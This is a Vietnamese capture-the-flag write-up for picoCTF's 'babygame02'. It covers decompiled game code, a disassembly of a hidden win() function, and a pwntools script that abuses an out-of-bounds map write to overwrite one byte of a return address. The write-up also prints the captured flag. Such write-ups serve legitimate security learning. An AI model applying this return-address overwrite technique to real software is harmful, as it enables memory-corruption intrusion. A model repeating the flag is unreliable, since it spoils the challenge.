pwn - babygame02
Break the game and get the flag.
Source Code
Chúng ta dịch ngược bằng IDA.
Player struct
Ta thêm kiểu dữ liệu là struct sau:
/* 8 */
struct __fixed Player
{
int row;
int column;
};main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
Player player; // [esp+0h] [ebp-AA0h] BYREF
char map[2700]; // [esp+Bh] [ebp-A95h] BYREF
char direction; // [esp+A97h] [ebp-9h]
int *p_argc; // [esp+A98h] [ebp-8h]
p_argc = &argc;
init_player(&player);
init_map(map, &player);
print_map(map);
signal(2, sigint_handler);
do
{
do
{
direction = getchar();
move_player(&player, direction, map);
print_map(map);
}
while ( player.row != 29 );
}
while ( player.column != 89 );
puts("You win!");
return 0;
}init_player()
Player *__cdecl init_player(Player *player)
{
player->row = 4;
player->column = 4;
return player;
}init_map()
Elf32_Dyn **__cdecl init_map(char *map, Player *player)
{
Elf32_Dyn **result; // eax
int j; // [esp+8h] [ebp-Ch]
int i; // [esp+Ch] [ebp-8h]
result = &GLOBAL_OFFSET_TABLE_;
for ( i = 0; i <= 29; ++i )
{
for ( j = 0; j <= 89; ++j )
{
if ( i == 29 && j == 89 )
{
map[2699] = 'X';
}
else if ( i == player->row && j == player->column )
{
map[90 * i + j] = player_tile;
}
else
{
map[90 * i + j] = '.';
}
}
}
return result;
}move_player()
char *__cdecl move_player(Player *player, char direction, char *map)
{
char *result; // eax
if ( direction == 'l' )
player_tile = getchar();
if ( direction == 'p' )
solve_round(map, player);
map[90 * player->row + player->column] = '.';
switch ( direction )
{
case 'w':
--player->row;
break;
case 's':
++player->row;
break;
case 'a':
--player->column;
break;
case 'd':
++player->column;
break;
}
result = &map[90 * player->row + player->column];
*result = player_tile;
return result;
}solve_round()
int __cdecl solve_round(char *map, Player *player)
{
int result; // eax
while ( player->column != 89 )
{
if ( player->column > 88 )
move_player(player, 'a', map);
else
move_player(player, 'd', map);
print_map(map);
}
while ( player->row != 29 )
{
if ( player->column > 28 )
move_player(player, 's', map);
else
move_player(player, 'w', map);
print_map(map);
}
sleep(0);
result = player->row;
if ( player->row == 29 )
{
result = player->column;
if ( result == 89 )
return puts("You win!");
}
return result;
}win()
int win()
{
char flag[60]; // [esp+0h] [ebp-48h] BYREF
FILE *stream; // [esp+3Ch] [ebp-Ch]
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts("flag.txt not found in current directory");
exit(0);
}
fgets(flag, 60, stream);
return printf(flag);
}Hàm win() bị ẩn đi, không được sử dụng trong chương trình. Chúng ta chỉ có thể phát hiện được khi dịch ngược.
Mitigation

Solve
Ta thấy được return address của hàm solve_round() như sau:

Đó là 0x8049709. Còn đây là các địa chỉ các câu lệnh assembly của hàm win():
pwndbg> disassemble win
Dump of assembler code for function win:
0x0804975d <+0>: push ebp
0x0804975e <+1>: mov ebp,esp
0x08049760 <+3>: push ebx
0x08049761 <+4>: sub esp,0x44
0x08049764 <+7>: call 0x8049140 <__x86.get_pc_thunk.bx>
0x08049769 <+12>: add ebx,0x2897
0x0804976f <+18>: nop
0x08049770 <+19>: nop
0x08049771 <+20>: nop
0x08049772 <+21>: nop
0x08049773 <+22>: nop
0x08049774 <+23>: nop
0x08049775 <+24>: nop
0x08049776 <+25>: nop
0x08049777 <+26>: nop
0x08049778 <+27>: nop
0x08049779 <+28>: sub esp,0x8
0x0804977c <+31>: lea eax,[ebx-0x1fb8]
0x08049782 <+37>: push eax
0x08049783 <+38>: lea eax,[ebx-0x1fb6]
...Vì PIE không được bật, nên chúng ta có thể ghi đè 1 byte cuối của return address để nhảy vào hàm win(). Lưu ý rằng, ta không nhảy vào ngay địa chỉ bắt đầu, như vậy sẽ làm hỏng stack. Ta nhảy sẽ nhảy vào các lệnh nop.

Địa chỉ của byte đang ghi sẽ là *map + 90 * row + column. Để ghi vào byte cuối của return address ta cần: 90 * row + column = -39. Ban đầu chúng ta ở (4,4), vậy ta có thể đi lên 4 bước, sang trái 43 bước để đến offset -39.
Nên sang trái trước rồi mới đi lên, nếu không lúc đi qua sẽ ghi đè vào giá trị row và column và làm sai lệch vị trí.
Script
from pwn import *
p = remote('saturn.picoctf.net', 57568)
# overwrite last byte of return address to jump to win
# offset is 90*(row+4)+(col+4)=-39 -> row=-4, col=-43
p.sendline(b'l\x6f' + b'a' * 43)
time.sleep(2) # wait to send all the a's
p.sendline(b'w' * 4)
p.recvuntil(b"pico")
print(f"pico{p.recvuntil(b'}').decode()}")ubuntu@hungnt-PC:~/ctf$ py solve.py
[+] Opening connection to saturn.picoctf.net on port 57568: Done
picoCTF{gamer_jump1ng_4r0unD_d0bed747}
[*] Closed connection to saturn.picoctf.net port 57568